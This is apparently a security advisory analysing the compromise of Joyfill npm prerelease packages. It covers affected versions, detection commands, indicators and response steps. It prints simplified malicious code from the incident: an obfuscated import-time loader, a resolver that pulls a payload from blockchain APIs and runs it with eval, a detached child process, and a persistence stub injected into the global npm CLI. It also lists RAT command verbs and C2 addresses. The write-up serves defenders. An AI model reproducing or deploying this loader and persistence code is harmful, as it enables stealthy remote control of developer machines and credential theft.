critical

CVE

Not assigned

CWE

CWE-506, CWE-829

Affected Surface

  • `@joyfill/layouts@0.1.2-2773.beta.0` and `@joyfill/components@4.0.0-rc24-2773-beta.4`, with follow-on public detonation also tying the same loader to other `2773` prereleases in the same build line
  • Developer workstations, SSR/build hosts, test runners, and CI jobs that imported the affected Joyfill modules
  • Machines where the implanted process could modify the global npm CLI or common Electron developer tools for persistence

The most important new package-registry story from the last three days is the compromise of Joyfill’s npm prerelease line. The interesting detail is not simply that two legitimate packages were hijacked. It is that the malicious code does not rely on preinstall, postinstall, or another easy-to-spot lifecycle hook. Instead, the attacker appended an obfuscated loader directly into the built distribution bundles, so the real execution boundary becomes module import.

That design puts the incident in the same operational family as ViteVenom’s blockchain-backed fake Vite tooling, the Rollup polyfill import-time RAT chain, and PolinRider’s multi-ecosystem loader design. The npm tarball is only stage zero. The actual delivery path hides in runtime deobfuscation, public blockchain infrastructure, and later-stage persistence inside developer tools.

Affected package line

The minimum version set independently corroborated by structured advisories and public reverse engineering is:

PackageMinimum confirmed malicious versionLast publicly described clean comparison
@joyfill/layouts0.1.2-2773.beta.00.1.1
@joyfill/components4.0.0-rc24-2773-beta.44.0.0-rc24

There is also a broader 2773 prerelease signal worth calling out. StepSecurity’s follow-on detonation reports the same loader in:

  • @joyfill/layouts@0.1.2-2773.beta.0
  • @joyfill/layouts@0.1.2-2773.beta.1
  • @joyfill/layouts@0.1.2-2773.beta.2
  • @joyfill/components@4.0.0-rc24-2773-beta.4
  • @joyfill/components@4.0.0-rc24-2773-beta.5
  • @joyfill/components@4.0.0-rc24-2773-beta.6

For responders, that distinction matters:

  1. the advisory-backed floor is enough to justify immediate blocking and incident response
  2. the broader 2773 build line means version filtering should not stop at the first two package versions named in early reporting

Import, not install, was the real execution boundary

The most dangerous design choice in this incident is where the loader sits. Public analysis places it in the emitted package bundles, not in lifecycle scripts:

// simplified from the compromised Joyfill bundle
global.r = require;
global.m = module;

const resolver = decryptEmbeddedPayload();
Function("", resolver)();

That small bootstrap changes the whole containment story:

  • npm install --ignore-scripts does not neutralize the threat
  • test runners, SSR paths, build jobs, and REPL imports can all trigger the loader
  • “we only installed it” and “we actually imported it” become materially different exposure states

This is why the Joyfill incident belongs beside earlier AppSec-focused runtime compromises rather than older install-hook-only malware. Any code path that does require("@joyfill/layouts") or imports the affected bundle can become the malware launch point.

The stage resolver kept the real payload off-registry

The next useful technical detail is how little fixed infrastructure the npm artifact exposes. Instead of hardcoding the final command-and-control server, the loader reconstructs the next stage from public blockchain data:

async function resolve(xorKey, tronAddr, aptosAddr) {
  let txHash;
  try {
    txHash = Buffer.from(
      (await getJSON(
        "https://api.trongrid.io/v1/accounts/" + tronAddr +
        "/transactions?only_confirmed=true&only_from=true&limit=1"
      )).data[0].raw_data.data,
      "hex"
    ).toString("utf8").split("").reverse().join("");
  } catch {
    txHash = (await getJSON(
      "https://fullnode.mainnet.aptoslabs.com/v1/accounts/" +
      aptosAddr + "/transactions?limit=1"
    ))[0].payload.arguments[0];
  }

  const raw = await jsonRpc(
    "eth_getTransactionByHash",
    [txHash],
    "bsc-dataseed.binance.org"
  );

  const enc = Buffer.from(raw.result.input.slice(2), "hex")
    .toString("utf8")
    .split("?.?")[1];

  return xorDecrypt(enc, xorKey);
}

Operationally, that does three things at once:

  1. keeps the live stage pointer out of the npm tarball
  2. lets the operator rotate delivery without republishing the package
  3. makes the first network traffic look like ordinary access to public blockchain infrastructure

That tradecraft is why registry-only inspection is not enough. The tarball can look like “just obfuscated JavaScript,” while the mutable execution path lives elsewhere.

The malware split into an in-process path and a detached child

The recovered loader does not stop at one eval() branch. It resolves at least two execution paths, one inside the importing process and one in a detached child:

const stageA = await resolve(
  "2[gWfGj;<:-93Z^C",
  "TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP",
  "0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e"
);
eval(stageA);

const stageB = await resolve(
  "m6:tTh^D)cBz?NM]",
  "TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG",
  "0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3"
);

require("child_process").spawn("node", ["-e", stageB], {
  detached: true,
  stdio: "ignore",
  windowsHide: true
}).unref();

That detached branch is not cosmetic. It is the part that turns “a malicious dependency ran” into “a long-lived background implant can survive the original command.” If a build, test, or script exits quickly, the child process may continue.

The next stage behaves like a real RAT, not a simple downloader

Public reverse engineering describes the downstream JavaScript as a Socket.IO-based RAT with a command surface that goes well beyond credential scraping. Representative verbs include:

ss_info
ss_upf
ss_upd
ss_dir
ss_eval
ss_eval64
ss_connect
ss_inz
ss_inzx

Those verbs matter because they imply the operator can:

  • collect host and runtime metadata
  • upload or exfiltrate files and whole directories
  • evaluate arbitrary JavaScript on demand
  • repoint the infected host at a different controller
  • inject the loader into other local applications

That is a different threat model from “one package steals one token.” Defenders should treat successful import of the affected versions as a host-compromise event.

Persistence targeted the tools developers already run every day

The strongest late-stage signal is where the malware tries to stay alive. Public reporting ties the persistence logic to:

  • VS Code / Cursor / Antigravity via @vscode/deviceid
  • Discord Desktop core modules
  • GitHub Desktop resources/app/main.js
  • the global npm CLI at npm/lib/cli.js

The npm CLI target is especially important. Once the malware modifies the global CLI, every later npm invocation can become a re-execution point:

const target = "<npm root -g>/npm/lib/cli.js";
const stub =
  "global['_V']='" + campaignId + "';" +
  "global.r=require;global.m=module;" +
  reconstructedLoader;

injectIfMissing(target, "/*RS260605*/", stub);

From an AppSec perspective, that means the package compromise can jump from “this one project used a bad prerelease” to “the workstation’s package-management toolchain is now part of the persistence surface.”

A staged Python follow-on changes the blast radius

The same reporting also describes a Python credential stealer staged after the Node loader chain. The follow-on collects browser data, Git and GitHub CLI material, cloud credentials, local keychain or secret-store data, and browser-extension storage tied to wallets or password managers.

The practical lesson is that this incident is not limited to Node.js secrets. Once the downstream stage lands, the host becomes a general credential-harvesting target.

Detection and scoping

Start with version-precise dependency hunting:

npm ls @joyfill/layouts @joyfill/components
pnpm why @joyfill/layouts @joyfill/components

rg -n "@joyfill/(layouts|components)|2773\\.beta|2773-beta" \
  package.json package-lock.json pnpm-lock.yaml yarn.lock

Then hunt for the loader and persistence signals:

rg -n "A9-0135-3|Sec-V|api\\.trongrid\\.io|aptoslabs\\.com|bsc-dataseed|socket\\.io-client|/\\$/boot" .

rg -n "@vscode/deviceid|npm/lib/cli\\.js|resources/app/main\\.js|already injected|RS260605" \
  "$HOME" .

Network scoping should include at least:

api.trongrid.io
fullnode.mainnet.aptoslabs.com
bsc-dataseed.binance.org
166.88.134.62
23.27.13.43
198.105.127.210
23.27.202.27

If you only find a lockfile entry, you have potential exposure. If you find import telemetry, detached node -e activity, or modified local tool files, you have a compromise case.

Response guidance

If any host imported one of the affected Joyfill prereleases:

  1. isolate the host before cleanup
  2. remove the affected package versions from manifests, lockfiles, caches, internal mirrors, and build images
  3. rotate npm, GitHub, cloud, SSH, browser-saved, and application secrets from a separate clean machine
  4. inspect the global npm CLI and the Electron application paths above for injected loader stubs
  5. treat the machine as potentially having a second-language follow-on, not just a Node.js-only infection

The core lesson from Joyfill is that modern package compromises increasingly treat the registry artifact as a bootstrapper, not the whole payload. The code that lands in node_modules is only the first trust boundary. The real execution path may begin on import, resolve its live infrastructure through public ledgers, and then persist by modifying the very developer tools used to build the next release.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References